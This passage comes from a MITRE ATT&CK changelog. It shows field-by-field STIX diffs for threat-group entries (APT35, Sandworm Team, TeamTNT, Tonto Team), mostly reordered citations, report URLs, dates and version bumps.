| external_references[7]['description'] | Link analysis of infrastructure and tools revealed a potential relationship between Magic Hound and the older attack campaign called Newscaster (aka Newscasters).(Citation: Unit 42 Magic Hound Feb 2017)(Citation: FireEye APT35 2018) | (Citation: Unit 42 Magic Hound Feb 2017) |
| external_references[8]['source_name'] | APT35 | Microsoft Phosphorus Mar 2019 |
| external_references[8]['description'] | (Citation: FireEye APT35 2018)(Citation: Certfa Charming Kitten January 2021) | Burt, T. (2019, March 27). New steps to protect customers from hacking. Retrieved May 27, 2020. |
| external_references[9]['source_name'] | FireEye APT35 2018 | Microsoft Phosphorus Oct 2020 |
| external_references[9]['description'] | Mandiant. (2018). Mandiant M-Trends 2018. Retrieved July 9, 2018. | Burt, T. (2020, October 28). Cyberattacks target international conference attendees. Retrieved March 8, 2021. |
| external_references[9]['url'] | https://www.fireeye.com/content/dam/collateral/en/mtrends-2018.pdf | https://blogs.microsoft.com/on-the-issues/2020/10/28/cyberattacks-phosphorus-t20-munich-security-conference/ |
| external_references[10]['source_name'] | ClearSky Kittens Back 3 August 2020 | Certfa Charming Kitten January 2021 |
| external_references[10]['description'] | ClearSky Research Team. (2020, August 1). The Kittens Are Back in Town 3 - Charming Kitten Campaign Evolved and Deploying Spear-Phishing link by WhatsApp. Retrieved April 21, 2021. | Certfa Labs. (2021, January 8). Charming Kitten’s Christmas Gift. Retrieved May 3, 2021. |
| external_references[10]['url'] | https://www.clearskysec.com/wp-content/uploads/2020/08/The-Kittens-are-Back-in-Town-3.pdf | https://blog.certfa.com/posts/charming-kitten-christmas-gift/ |
| external_references[11]['source_name'] | Certfa Charming Kitten January 2021 | Check Point APT35 CharmPower January 2022 |
| external_references[11]['description'] | Certfa Labs. (2021, January 8). Charming Kitten’s Christmas Gift. Retrieved May 3, 2021. | Check Point. (2022, January 11). APT35 exploits Log4j vulnerability to distribute new modular PowerShell toolkit. Retrieved January 24, 2022. |
| external_references[11]['url'] | https://blog.certfa.com/posts/charming-kitten-christmas-gift/ | https://research.checkpoint.com/2022/apt35-exploits-log4j-vulnerability-to-distribute-new-modular-powershell-toolkit/ |
| external_references[12]['source_name'] | Secureworks COBALT ILLUSION Threat Profile | ClearSky Charming Kitten Dec 2017 |
| external_references[12]['description'] | Secureworks. (n.d.). COBALT ILLUSION Threat Profile. Retrieved April 14, 2021. | ClearSky Cyber Security. (2017, December). Charming Kitten. Retrieved December 27, 2017. |
| external_references[12]['url'] | https://www.secureworks.com/research/threat-profiles/cobalt-illusion | http://www.clearskysec.com/wp-content/uploads/2017/12/Charming_Kitten_2017.pdf |
| external_references[13]['source_name'] | Proofpoint TA453 July2021 | ClearSky Kittens Back 2 Oct 2019 |
| external_references[13]['description'] | Miller, J. et al. (2021, July 13). Operation SpoofedScholars: A Conversation with TA453. Retrieved August 18, 2021. | ClearSky Research Team. (2019, October 1). The Kittens Are Back in Town2 - Charming Kitten Campaign KeepsGoing on, Using New Impersonation Methods. Retrieved April 21, 2021. |
| external_references[13]['url'] | https://www.proofpoint.com/us/blog/threat-insight/operation-spoofedscholars-conversation-ta453 | https://www.clearskysec.com/wp-content/uploads/2019/10/The-Kittens-Are-Back-in-Town-2-1.pdf |
| external_references[14]['source_name'] | Unit 42 Magic Hound Feb 2017 | ClearSky Kittens Back 3 August 2020 |
| external_references[14]['description'] | Lee, B. and Falcone, R. (2017, February 15). Magic Hound Campaign Attacks Saudi Targets. Retrieved December 27, 2017. | ClearSky Research Team. (2020, August 1). The Kittens Are Back in Town 3 - Charming Kitten Campaign Evolved and Deploying Spear-Phishing link by WhatsApp. Retrieved April 21, 2021. |
| external_references[14]['url'] | https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/ | https://www.clearskysec.com/wp-content/uploads/2020/08/The-Kittens-are-Back-in-Town-3.pdf |
| external_references[15]['source_name'] | Proofpoint TA453 March 2021 | Eweek Newscaster and Charming Kitten May 2014 |
| external_references[15]['description'] | Miller, J. et al. (2021, March 30). BadBlood: TA453 Targets US and Israeli Medical Research Personnel in Credential Phishing Campaigns. Retrieved May 4, 2021. | Kerner, S. (2014, May 29). Newscaster Threat Uses Social Media for Intelligence Gathering. Retrieved April 14, 2021. |
| external_references[15]['url'] | https://www.proofpoint.com/us/blog/threat-insight/badblood-ta453-targets-us-and-israeli-medical-research-personnel-credential | https://www.eweek.com/security/newscaster-threat-uses-social-media-for-intelligence-gathering |
| external_references[16]['source_name'] | ClearSky Charming Kitten Dec 2017 | Unit 42 Magic Hound Feb 2017 |
| external_references[16]['description'] | ClearSky Cyber Security. (2017, December). Charming Kitten. Retrieved December 27, 2017. | Lee, B. and Falcone, R. (2017, February 15). Magic Hound Campaign Attacks Saudi Targets. Retrieved December 27, 2017. |
| external_references[16]['url'] | http://www.clearskysec.com/wp-content/uploads/2017/12/Charming_Kitten_2017.pdf | https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/ |
| external_references[17]['source_name'] | Eweek Newscaster and Charming Kitten May 2014 | Newscaster |
| external_references[17]['description'] | Kerner, S. (2014, May 29). Newscaster Threat Uses Social Media for Intelligence Gathering. Retrieved April 14, 2021. | Link analysis of infrastructure and tools revealed a potential relationship between Magic Hound and the older attack campaign called Newscaster (aka Newscasters).(Citation: Unit 42 Magic Hound Feb 2017)(Citation: FireEye APT35 2018) |
| external_references[18]['source_name'] | ClearSky Kittens Back 2 Oct 2019 | FireEye APT35 2018 |
| external_references[18]['description'] | ClearSky Research Team. (2019, October 1). The Kittens Are Back in Town2 - Charming Kitten Campaign KeepsGoing on, Using New Impersonation Methods. Retrieved April 21, 2021. | Mandiant. (2018). Mandiant M-Trends 2018. Retrieved July 9, 2018. |
| external_references[18]['url'] | https://www.clearskysec.com/wp-content/uploads/2019/10/The-Kittens-Are-Back-in-Town-2-1.pdf | https://www.fireeye.com/content/dam/collateral/en/mtrends-2018.pdf |
| external_references[19]['source_name'] | IBM ITG18 2020 | Proofpoint TA453 July2021 |
| external_references[19]['description'] | Wikoff, A. Emerson, R. (2020, July 16). New Research Exposes Iranian Threat Group Operations. Retrieved March 8, 2021. | Miller, J. et al. (2021, July 13). Operation SpoofedScholars: A Conversation with TA453. Retrieved August 18, 2021. |
| external_references[19]['url'] | https://securityintelligence.com/posts/new-research-exposes-iranian-threat-group-operations/ | https://www.proofpoint.com/us/blog/threat-insight/operation-spoofedscholars-conversation-ta453 |
| external_references[20]['source_name'] | Microsoft Phosphorus Mar 2019 | Proofpoint TA453 March 2021 |
| external_references[20]['description'] | Burt, T. (2019, March 27). New steps to protect customers from hacking. Retrieved May 27, 2020. | Miller, J. et al. (2021, March 30). BadBlood: TA453 Targets US and Israeli Medical Research Personnel in Credential Phishing Campaigns. Retrieved May 4, 2021. |
| external_references[20]['url'] | https://blogs.microsoft.com/on-the-issues/2019/03/27/new-steps-to-protect-customers-from-hacking/ | https://www.proofpoint.com/us/blog/threat-insight/badblood-ta453-targets-us-and-israeli-medical-research-personnel-credential |
| external_references[21]['source_name'] | Microsoft Phosphorus Oct 2020 | Secureworks COBALT ILLUSION Threat Profile |
| external_references[21]['description'] | Burt, T. (2020, October 28). Cyberattacks target international conference attendees. Retrieved March 8, 2021. | Secureworks. (n.d.). COBALT ILLUSION Threat Profile. Retrieved April 14, 2021. |
| external_references[21]['url'] | https://blogs.microsoft.com/on-the-issues/2020/10/28/cyberattacks-phosphorus-t20-munich-security-conference/ | https://www.secureworks.com/research/threat-profiles/cobalt-illusion |
| x_mitre_version | 4.0 | 4.1 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| external_references | | {'source_name': 'IBM ITG18 2020', 'description': 'Wikoff, A. Emerson, R. (2020, July 16). New Research Exposes Iranian Threat Group Operations. Retrieved March 8, 2021.', 'url': 'https://securityintelligence.com/posts/new-research-exposes-iranian-threat-group-operations/'} |
| x_mitre_contributors | | Daniyal Naeem, BT Security |
[G0034] Sandworm Team
Current version: 2.2
Version changed from: 2.1 → 2.2
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_deprecated | | False |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-10-15 21:46:19.437000+00:00 | 2022-04-14 15:09:52.498000+00:00 |
| external_references[1]['source_name'] | Sandworm Team | VOODOO BEAR |
| external_references[1]['description'] | (Citation: iSIGHT Sandworm 2014) (Citation: F-Secure BlackEnergy 2014) (Citation: InfoSecurity Sandworm Oct 2014)(Citation: US District Court Indictment GRU Unit 74455 October 2020)(Citation: UK NCSC Olympic Attacks October 2020) | (Citation: CrowdStrike VOODOO BEAR)(Citation: US District Court Indictment GRU Unit 74455 October 2020)(Citation: UK NCSC Olympic Attacks October 2020) |
| external_references[3]['source_name'] | Telebots | Sandworm Team |
| external_references[3]['description'] | (Citation: NCSC Sandworm Feb 2020)(Citation: US District Court Indictment GRU Unit 74455 October 2020)(Citation: UK NCSC Olympic Attacks October 2020) | (Citation: iSIGHT Sandworm 2014) (Citation: F-Secure BlackEnergy 2014) (Citation: InfoSecurity Sandworm Oct 2014)(Citation: US District Court Indictment GRU Unit 74455 October 2020)(Citation: UK NCSC Olympic Attacks October 2020) |
| external_references[4]['source_name'] | IRON VIKING | Quedagh |
| external_references[4]['description'] | (Citation: Secureworks IRON VIKING )(Citation: US District Court Indictment GRU Unit 74455 October 2020)(Citation: UK NCSC Olympic Attacks October 2020) | (Citation: iSIGHT Sandworm 2014) (Citation: F-Secure BlackEnergy 2014)(Citation: UK NCSC Olympic Attacks October 2020) |
| external_references[6]['source_name'] | Quedagh | Telebots |
| external_references[6]['description'] | (Citation: iSIGHT Sandworm 2014) (Citation: F-Secure BlackEnergy 2014)(Citation: UK NCSC Olympic Attacks October 2020) | (Citation: NCSC Sandworm Feb 2020)(Citation: US District Court Indictment GRU Unit 74455 October 2020)(Citation: UK NCSC Olympic Attacks October 2020) |
| external_references[7]['source_name'] | VOODOO BEAR | IRON VIKING |
| external_references[7]['description'] | (Citation: CrowdStrike VOODOO BEAR)(Citation: US District Court Indictment GRU Unit 74455 October 2020)(Citation: UK NCSC Olympic Attacks October 2020) | (Citation: Secureworks IRON VIKING )(Citation: US District Court Indictment GRU Unit 74455 October 2020)(Citation: UK NCSC Olympic Attacks October 2020) |
| external_references[8]['source_name'] | US District Court Indictment GRU Unit 74455 October 2020 | US District Court Indictment GRU Oct 2018 |
| external_references[8]['description'] | Scott W. Brady. (2020, October 15). United States vs. Yuriy Sergeyevich Andrienko et al.. Retrieved November 25, 2020. | Brady, S . (2018, October 3). Indictment - United States vs Aleksei Sergeyevich Morenets, et al.. Retrieved October 1, 2020. |
| external_references[8]['url'] | https://www.justice.gov/opa/press-release/file/1328521/download | https://www.justice.gov/opa/page/file/1098481/download |
| external_references[9]['source_name'] | UK NCSC Olympic Attacks October 2020 | Dragos ELECTRUM |
| external_references[9]['description'] | UK NCSC. (2020, October 19). UK exposes series of Russian cyber attacks against Olympic and Paralympic Games . Retrieved November 30, 2020. | Dragos. (2017, January 1). ELECTRUM Threat Profile. Retrieved June 10, 2020. |
| external_references[9]['url'] | https://www.gov.uk/government/news/uk-exposes-series-of-russian-cyber-attacks-against-olympic-and-paralympic-games | https://www.dragos.com/resource/electrum/ |
| external_references[10]['source_name'] | iSIGHT Sandworm 2014 | F-Secure BlackEnergy 2014 |
| external_references[10]['description'] | Hultquist, J.. (2016, January 7). Sandworm Team and the Ukrainian Power Authority Attacks. Retrieved October 6, 2017. | F-Secure Labs. (2014). BlackEnergy & Quedagh: The convergence of crimeware and APT attacks. Retrieved March 24, 2016. |
| external_references[10]['url'] | https://www.fireeye.com/blog/threat-research/2016/01/ukraine-and-sandworm-team.html | https://blog-assets.f-secure.com/wp-content/uploads/2019/10/15163408/BlackEnergy_Quedagh.pdf |
| external_references[11]['source_name'] | CrowdStrike VOODOO BEAR | iSIGHT Sandworm 2014 |
| external_references[11]['description'] | Meyers, A. (2018, January 19). Meet CrowdStrike’s Adversary of the Month for January: VOODOO BEAR. Retrieved May 22, 2018. | Hultquist, J.. (2016, January 7). Sandworm Team and the Ukrainian Power Authority Attacks. Retrieved October 6, 2017. |
| external_references[11]['url'] | https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-january-voodoo-bear/ | https://www.fireeye.com/blog/threat-research/2016/01/ukraine-and-sandworm-team.html |
| external_references[12]['source_name'] | USDOJ Sandworm Feb 2020 | CrowdStrike VOODOO BEAR |
| external_references[12]['description'] | Pompeo, M. (2020, February 20). The United States Condemns Russian Cyber Attack Against the Country of Georgia. Retrieved June 18, 2020. | Meyers, A. (2018, January 19). Meet CrowdStrike’s Adversary of the Month for January: VOODOO BEAR. Retrieved May 22, 2018. |
| external_references[12]['url'] | https://2017-2021.state.gov/the-united-states-condemns-russian-cyber-attack-against-the-country-of-georgia//index.html | https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-january-voodoo-bear/ |
| external_references[13]['source_name'] | NCSC Sandworm Feb 2020 | InfoSecurity Sandworm Oct 2014 |
| external_references[13]['description'] | NCSC. (2020, February 20). NCSC supports US advisory regarding GRU intrusion set Sandworm. Retrieved June 10, 2020. | Muncaster, P.. (2014, October 14). Microsoft Zero Day Traced to Russian ‘Sandworm’ Hackers. Retrieved October 6, 2017. |
| external_references[13]['url'] | https://www.ncsc.gov.uk/news/ncsc-supports-sandworm-advisory | https://www.infosecurity-magazine.com/news/microsoft-zero-day-traced-russian/ |
| external_references[14]['source_name'] | US District Court Indictment GRU Oct 2018 | NCSC Sandworm Feb 2020 |
| external_references[14]['description'] | Brady, S . (2018, October 3). Indictment - United States vs Aleksei Sergeyevich Morenets, et al.. Retrieved October 1, 2020. | NCSC. (2020, February 20). NCSC supports US advisory regarding GRU intrusion set Sandworm. Retrieved June 10, 2020. |
| external_references[14]['url'] | https://www.justice.gov/opa/page/file/1098481/download | https://www.ncsc.gov.uk/news/ncsc-supports-sandworm-advisory |
| external_references[15]['source_name'] | F-Secure BlackEnergy 2014 | USDOJ Sandworm Feb 2020 |
| external_references[15]['description'] | F-Secure Labs. (2014). BlackEnergy & Quedagh: The convergence of crimeware and APT attacks. Retrieved March 24, 2016. | Pompeo, M. (2020, February 20). The United States Condemns Russian Cyber Attack Against the Country of Georgia. Retrieved June 18, 2020. |
| external_references[15]['url'] | https://blog-assets.f-secure.com/wp-content/uploads/2019/10/15163408/BlackEnergy_Quedagh.pdf | https://2017-2021.state.gov/the-united-states-condemns-russian-cyber-attack-against-the-country-of-georgia//index.html |
| external_references[16]['source_name'] | InfoSecurity Sandworm Oct 2014 | US District Court Indictment GRU Unit 74455 October 2020 |
| external_references[16]['description'] | Muncaster, P.. (2014, October 14). Microsoft Zero Day Traced to Russian ‘Sandworm’ Hackers. Retrieved October 6, 2017. | Scott W. Brady. (2020, October 15). United States vs. Yuriy Sergeyevich Andrienko et al.. Retrieved November 25, 2020. |
| external_references[16]['url'] | https://www.infosecurity-magazine.com/news/microsoft-zero-day-traced-russian/ | https://www.justice.gov/opa/press-release/file/1328521/download |
| external_references[17]['source_name'] | Dragos ELECTRUM | Secureworks IRON VIKING |
| external_references[17]['description'] | Dragos. (2017, January 1). ELECTRUM Threat Profile. Retrieved June 10, 2020. | Secureworks. (2020, May 1). IRON VIKING Threat Profile. Retrieved June 10, 2020. |
| external_references[17]['url'] | https://www.dragos.com/resource/electrum/ | https://www.secureworks.com/research/threat-profiles/iron-viking |
| external_references[18]['source_name'] | Secureworks IRON VIKING | UK NCSC Olympic Attacks October 2020 |
| external_references[18]['description'] | Secureworks. (2020, May 1). IRON VIKING Threat Profile. Retrieved June 10, 2020. | UK NCSC. (2020, October 19). UK exposes series of Russian cyber attacks against Olympic and Paralympic Games . Retrieved November 30, 2020. |
| external_references[18]['url'] | https://www.secureworks.com/research/threat-profiles/iron-viking | https://www.gov.uk/government/news/uk-exposes-series-of-russian-cyber-attacks-against-olympic-and-paralympic-games |
| x_mitre_version | 2.1 | 2.2 |
[G0139] TeamTNT
Current version: 1.1
Version changed from: 1.0 → 1.1
|
|
|---|
| t | [TeamTNT](https://attack.mitre.org/groups/G0139) is a threat | t | [TeamTNT](https://attack.mitre.org/groups/G0139) is a threat |
| group that has primarily targeted cloud and containerized e | | group that has primarily targeted cloud and containerized e |
| nvironments. The group as been active since at least October | | nvironments. The group as been active since at least October |
| 2019 and has mainly focused its efforts on leveraging cloud | | 2019 and has mainly focused its efforts on leveraging cloud |
| and container resources to deploy cryptocurrency miners in | | and container resources to deploy cryptocurrency miners in |
| victim environments. (Citation: Palo Alto Black-T October 20 | | victim environments.(Citation: Palo Alto Black-T October 202 |
| 20)(Citation: Lacework TeamTNT May 2021)(Citation: Intezer T | | 0)(Citation: Lacework TeamTNT May 2021)(Citation: Intezer Te |
| eamTNT September 2020)(Citation: Cado Security TeamTNT Worm | | amTNT September 2020)(Citation: Cado Security TeamTNT Worm A |
| August 2020)(Citation: Unit 42 Hildegard Malware)(Citation: | | ugust 2020)(Citation: Unit 42 Hildegard Malware)(Citation: T |
| Trend Micro TeamTNT)(Citation: ATT TeamTNT Chimaera Septembe | | rend Micro TeamTNT)(Citation: ATT TeamTNT Chimaera September |
| r 2020)(Citation: Aqua TeamTNT August 2020)(Citation: Inteze | | 2020)(Citation: Aqua TeamTNT August 2020)(Citation: Intezer |
| r TeamTNT Explosion September 2021) | | TeamTNT Explosion September 2021) |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_deprecated | | False |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-10-15 18:47:18.824000+00:00 | 2022-04-14 21:03:35.440000+00:00 |
| description | [TeamTNT](https://attack.mitre.org/groups/G0139) is a threat group that has primarily targeted cloud and containerized environments. The group as been active since at least October 2019 and has mainly focused its efforts on leveraging cloud and container resources to deploy cryptocurrency miners in victim environments. (Citation: Palo Alto Black-T October 2020)(Citation: Lacework TeamTNT May 2021)(Citation: Intezer TeamTNT September 2020)(Citation: Cado Security TeamTNT Worm August 2020)(Citation: Unit 42 Hildegard Malware)(Citation: Trend Micro TeamTNT)(Citation: ATT TeamTNT Chimaera September 2020)(Citation: Aqua TeamTNT August 2020)(Citation: Intezer TeamTNT Explosion September 2021) | [TeamTNT](https://attack.mitre.org/groups/G0139) is a threat group that has primarily targeted cloud and containerized environments. The group as been active since at least October 2019 and has mainly focused its efforts on leveraging cloud and container resources to deploy cryptocurrency miners in victim environments.(Citation: Palo Alto Black-T October 2020)(Citation: Lacework TeamTNT May 2021)(Citation: Intezer TeamTNT September 2020)(Citation: Cado Security TeamTNT Worm August 2020)(Citation: Unit 42 Hildegard Malware)(Citation: Trend Micro TeamTNT)(Citation: ATT TeamTNT Chimaera September 2020)(Citation: Aqua TeamTNT August 2020)(Citation: Intezer TeamTNT Explosion September 2021) |
| external_references[1]['source_name'] | Palo Alto Black-T October 2020 | ATT TeamTNT Chimaera September 2020 |
| external_references[1]['description'] | Quist, N. (2020, October 5). Black-T: New Cryptojacking Variant from TeamTNT. Retrieved September 22, 2021. | AT&T Alien Labs. (2021, September 8). TeamTNT with new campaign aka Chimaera. Retrieved September 22, 2021. |
| external_references[1]['url'] | https://unit42.paloaltonetworks.com/black-t-cryptojacking-variant/ | https://cybersecurity.att.com/blogs/labs-research/teamtnt-with-new-campaign-aka-chimaera |
| external_references[2]['source_name'] | Lacework TeamTNT May 2021 | Cado Security TeamTNT Worm August 2020 |
| external_references[2]['description'] | Stroud, J. (2021, May 25). Taking TeamTNT's Docker Images Offline. Retrieved September 22, 2021. | Cado Security. (2020, August 16). Team TNT – The First Crypto-Mining Worm to Steal AWS Credentials. Retrieved September 22, 2021. |
| external_references[2]['url'] | https://www.lacework.com/blog/taking-teamtnt-docker-images-offline/ | https://www.cadosecurity.com/team-tnt-the-first-crypto-mining-worm-to-steal-aws-credentials/ |
| external_references[3]['source_name'] | Intezer TeamTNT September 2020 | Unit 42 Hildegard Malware |
| external_references[3]['description'] | Fishbein, N. (2020, September 8). Attackers Abusing Legitimate Cloud Monitoring Tools to Conduct Cyber Attacks. Retrieved September 22, 2021. | Chen, J. et al. (2021, February 3). Hildegard: New TeamTNT Cryptojacking Malware Targeting Kubernetes. Retrieved April 5, 2021. |
| external_references[3]['url'] | https://www.intezer.com/blog/cloud-security/attackers-abusing-legitimate-cloud-monitoring-tools-to-conduct-cyber-attacks/ | https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/ |
| external_references[4]['source_name'] | Cado Security TeamTNT Worm August 2020 | Trend Micro TeamTNT |
| external_references[4]['description'] | Cado Security. (2020, August 16). Team TNT – The First Crypto-Mining Worm to Steal AWS Credentials. Retrieved September 22, 2021. | Fiser, D. Oliveira, A. (n.d.). Tracking the Activities of TeamTNT A Closer Look at a Cloud-Focused Malicious Actor Group. Retrieved September 22, 2021. |
| external_references[4]['url'] | https://www.cadosecurity.com/team-tnt-the-first-crypto-mining-worm-to-steal-aws-credentials/ | https://documents.trendmicro.com/assets/white_papers/wp-tracking-the-activities-of-teamTNT.pdf |
| external_references[5]['source_name'] | Unit 42 Hildegard Malware | Intezer TeamTNT September 2020 |
| external_references[5]['description'] | Chen, J. et al. (2021, February 3). Hildegard: New TeamTNT Cryptojacking Malware Targeting Kubernetes. Retrieved April 5, 2021. | Fishbein, N. (2020, September 8). Attackers Abusing Legitimate Cloud Monitoring Tools to Conduct Cyber Attacks. Retrieved September 22, 2021. |
| external_references[5]['url'] | https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/ | https://www.intezer.com/blog/cloud-security/attackers-abusing-legitimate-cloud-monitoring-tools-to-conduct-cyber-attacks/ |
| external_references[6]['source_name'] | Trend Micro TeamTNT | Intezer TeamTNT Explosion September 2021 |
| external_references[6]['description'] | Fiser, D. Oliveira, A. (n.d.). Tracking the Activities of TeamTNT A Closer Look at a Cloud-Focused Malicious Actor Group. Retrieved September 22, 2021. | Intezer. (2021, September 1). TeamTNT Cryptomining Explosion. Retrieved October 15, 2021. |
| external_references[6]['url'] | https://documents.trendmicro.com/assets/white_papers/wp-tracking-the-activities-of-teamTNT.pdf | https://www.intezer.com/wp-content/uploads/2021/09/TeamTNT-Cryptomining-Explosion.pdf |
| external_references[7]['source_name'] | ATT TeamTNT Chimaera September 2020 | Aqua TeamTNT August 2020 |
| external_references[7]['description'] | AT&T Alien Labs. (2021, September 8). TeamTNT with new campaign aka Chimaera. Retrieved September 22, 2021. | Kol, Roi. Morag, A. (2020, August 25). Deep Analysis of TeamTNT Techniques Using Container Images to Attack. Retrieved September 22, 2021. |
| external_references[7]['url'] | https://cybersecurity.att.com/blogs/labs-research/teamtnt-with-new-campaign-aka-chimaera | https://blog.aquasec.com/container-security-tnt-container-attack |
| external_references[8]['source_name'] | Aqua TeamTNT August 2020 | Palo Alto Black-T October 2020 |
| external_references[8]['description'] | Kol, Roi. Morag, A. (2020, August 25). Deep Analysis of TeamTNT Techniques Using Container Images to Attack. Retrieved September 22, 2021. | Quist, N. (2020, October 5). Black-T: New Cryptojacking Variant from TeamTNT. Retrieved September 22, 2021. |
| external_references[8]['url'] | https://blog.aquasec.com/container-security-tnt-container-attack | https://unit42.paloaltonetworks.com/black-t-cryptojacking-variant/ |
| external_references[9]['source_name'] | Intezer TeamTNT Explosion September 2021 | Lacework TeamTNT May 2021 |
| external_references[9]['description'] | Intezer. (2021, September 1). TeamTNT Cryptomining Explosion. Retrieved October 15, 2021. | Stroud, J. (2021, May 25). Taking TeamTNT's Docker Images Offline. Retrieved September 22, 2021. |
| external_references[9]['url'] | https://www.intezer.com/wp-content/uploads/2021/09/TeamTNT-Cryptomining-Explosion.pdf | https://www.lacework.com/blog/taking-teamtnt-docker-images-offline/ |
| x_mitre_version | 1.0 | 1.1 |
[G0131] Tonto Team
Current version: 1.1
Version changed from: 1.0 → 1.1
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
dictionary_item_removed| STIX Field | Old value | New Value |
|---|
| external_references | https://securelist.com/cactuspete-apt-groups-updated-bisonal-backdoor/97962/ | |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-10-17 20:56:22.161000+00:00 | 2022-01-27 17:51:41.433000+00:00 |
| external_references[1]['source_name'] | Earth Akhlut | Tonto Team |
| external_references[1]['description'] | (Citation: TrendMicro Tonto Team October 2020) | (Citation: Talos Bisonal Mar 2020) |
| external_references[2]['source_name'] | BRONZE HUNTLEY | Earth Akhlut |
| external_references[2]['description'] | (Citation: Secureworks BRONZE HUNTLEY ) | (Citation: TrendMicro Tonto Team October 2020) |
| external_references[3]['source_name'] | CactusPete | BRONZE HUNTLEY |
| external_references[3]['description'] | (Citation: Kaspersky CactusPete Aug 2020) | (Citation: Secureworks BRONZE HUNTLEY ) |
| external_references[4]['source_name'] | Karma Panda | CactusPete |
| external_references[4]['description'] | (Citation: Kaspersky CactusPete Aug 2020)(Citation: CrowdStrike Manufacturing Threat July 2020) | (Citation: Kaspersky CactusPete Aug 2020) |
| external_references[5]['source_name'] | Kaspersky CactusPete Aug 2020 | Karma Panda |
| external_references[5]['description'] | Zykov, K. (2020, August 13). CactusPete APT group’s updated Bisonal backdoor. Retrieved May 5, 2021. | (Citation: Kaspersky CactusPete Aug 2020)(Citation: CrowdStrike Manufacturing Threat July 2020) |
| external_references[6]['source_name'] | ESET Exchange Mar 2021 | Kaspersky CactusPete Aug 2020 |
| external_references[6]['description'] | Faou, M., Tartare, M., Dupuy, T. (2021, March 10). Exchange servers under siege from at least 10 APT groups. Retrieved May 21, 2021. | Zykov, K. (2020, August 13). CactusPete APT group’s updated Bisonal backdoor. Retrieved May 5, 2021. |
| external_references[6]['url'] | https://www.welivesecurity.com/2021/03/10/exchange-servers-under-siege-10-apt-groups/ | https://securelist.com/cactuspete-apt-groups-updated-bisonal-backdoor/97962/ |
| external_references[7]['source_name'] | FireEye Chinese Espionage October 2019 | ESET Exchange Mar 2021 |
| external_references[7]['description'] | Nalani Fraser, Kelli Vanderlee. (2019, October 10). Achievement Unlocked - Chinese Cyber Espionage Evolves to Support Higher Level Missions. Retrieved October 17, 2021. | Faou, M., Tartare, M., Dupuy, T. (2021, March 10). Exchange servers under siege from at least 10 APT groups. Retrieved May 21, 2021. |
| external_references[7]['url'] | https://www.fireeye.com/content/dam/fireeye-www/summit/cds-2019/presentations/cds19-executive-s08-achievement-unlocked.pdf | https://www.welivesecurity.com/2021/03/10/exchange-servers-under-siege-10-apt-groups/ |
| external_references[8]['source_name'] | ARS Technica China Hack SK April 2017 | FireEye Chinese Espionage October 2019 |
| external_references[8]['description'] | Sean Gallagher. (2017, April 21). Researchers claim China trying to hack South Korea missile defense efforts. Retrieved October 17, 2021. | Nalani Fraser, Kelli Vanderlee. (2019, October 10). Achievement Unlocked - Chinese Cyber Espionage Evolves to Support Higher Level Missions. Retrieved October 17, 2021. |
| external_references[8]['url'] | https://arstechnica.com/information-technology/2017/04/researchers-claim-china-trying-to-hack-south-korea-missile-defense-efforts/ | https://www.fireeye.com/content/dam/fireeye-www/summit/cds-2019/presentations/cds19-executive-s08-achievement-unlocked.pdf |
| external_references[9]['source_name'] | Trend Micro HeartBeat Campaign January 2013 | ARS Technica China Hack SK April 2017 |
| external_references[9]['description'] | Roland Dela Paz. (2003, January 3). The HeartBeat APT Campaign. Retrieved October 17, 2021. | Sean Gallagher. (2017, April 21). Researchers claim China trying to hack South Korea missile defense efforts. Retrieved October 17, 2021. |
| external_references[9]['url'] | https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp_the-heartbeat-apt-campaign.pdf? | https://arstechnica.com/information-technology/2017/04/researchers-claim-china-trying-to-hack-south-korea-missile-defense-efforts/ |
| external_references[10]['source_name'] | Talos Bisonal 10 Years March 2020 | Trend Micro HeartBeat Campaign January 2013 |
| external_references[10]['description'] | Warren Mercer, Paul Rascagneres, Vitor Ventura. (2020, March 6). Bisonal 10 Years of Play. Retrieved October 17, 2021. | Roland Dela Paz. (2003, January 3). The HeartBeat APT Campaign. Retrieved October 17, 2021. |
| external_references[10]['url'] | https://blog.talosintelligence.com/2020/03/bisonal-10-years-of-play.html | https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp_the-heartbeat-apt-campaign.pdf? |
| external_references[11]['source_name'] | TrendMicro Tonto Team October 2020 | Talos Bisonal 10 Years March 2020 |
| external_references[11]['description'] | Daniel Lughi, Jaromir Horejsi. (2020, October 2). Tonto Team - Exploring the TTPs of an advanced threat actor operating a large infrastructure. Retrieved October 17, 2021. | Warren Mercer, Paul Rascagneres, Vitor Ventura. (2020, March 6). Bisonal 10 Years of Play. Retrieved October 17, 2021. |
| external_references[11]['url'] | https://vb2020.vblocalhost.com/uploads/VB2020-06.pdf | https://blog.talosintelligence.com/2020/03/bisonal-10-years-of-play.html |
| external_references[12]['source_name'] | Secureworks BRONZE HUNTLEY | Talos Bisonal Mar 2020 |
| external_references[12]['description'] | Secureworks. (2021, January 1). BRONZE HUNTLEY Threat Profile. Retrieved May 5, 2021. | Mercer, W., et al. (2020, March 5). Bisonal: 10 years of play. Retrieved January 26, 2022. |
